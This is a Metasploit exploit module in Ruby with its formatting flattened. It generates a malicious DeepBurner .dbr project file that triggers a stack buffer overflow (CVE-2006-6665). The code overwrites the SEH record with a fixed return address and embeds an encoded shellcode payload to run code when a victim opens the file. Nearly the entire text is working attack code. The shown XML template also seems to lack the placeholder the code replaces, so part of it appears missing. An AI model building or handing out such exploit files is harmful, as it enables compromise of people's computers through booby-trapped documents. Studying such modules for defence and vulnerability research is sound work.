## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'AstonSoft DeepBurner (DBR File) Path Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in versions 1.9.0.228, 1.8.0, and possibly other versions of AstonSoft's DeepBurner (Pro, Lite, etc). An attacker must send the file to victim and the victim must open the file. Alternatively it may be possible to execute code remotely via an embedded DBR file within a browser, since the DBR extention is registered to DeepBurner. }, 'License' => MSF_LICENSE, 'Author' => [ 'Expanders', # original discovery (2006) 'fl0 fl0w', # re-discovered 2009/2010 'jduck' # metasploit version ], 'References' => [ [ 'BID', '21657' ], [ 'OSVDB', '32356' ], [ 'CVE', '2006-6665' ], [ 'EDB', '2950' ], [ 'EDB', '8335' ], [ 'EDB', '11315' ] ], 'Payload' => { 'Space' => 512, 'BadChars' => "\x00", 'StackAdjustment' => -3500, 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal', { 'Ret' => 0x101021f8 } ], # p/p/r - basswma.dll v2.2.0.3 (seems to be packed) ], 'Privileged' => false, 'DisclosureDate' => 'Dec 19 2006', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.dbr']), ], self.class) end def exploit template = <<-EOS
<comment name="Comments" text="Comment" hint="Comment box" left="40" top="76" width="89" height="29" fontname="Times New Roman" fontsize="15" fontcolor="255" visible="1" fontstyle="0" /> <exitbutton name="ButtonExit" image_path="" image_down_path="" text="Exit" hint="Exit this program" left="120" top="96" width="75" height="25" fontname="MS Sans Serif" fontsize="8" fontcolor="255" visible="1" fontstyle="0" /> </autorun> </DeepBurner_record> EOS seh_offset = 272 path = make_nops(seh_offset) path << generate_seh_record(target.ret) path << payload.encoded path << rand_text_alphanumeric(1000) * 20 path = xml_encode(path) sploit = template.gsub(/REPLACE_ME/, path) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end def xml_encode(str) ret = "" str.unpack('C*').each { |ch| case ch when 0x41..0x5a, 0x61..0x7a, 0x30..0x39 ret << ch.chr else ret << "&#x" ret << ch.chr.unpack('H*')[0] ret << ";" end } ret end end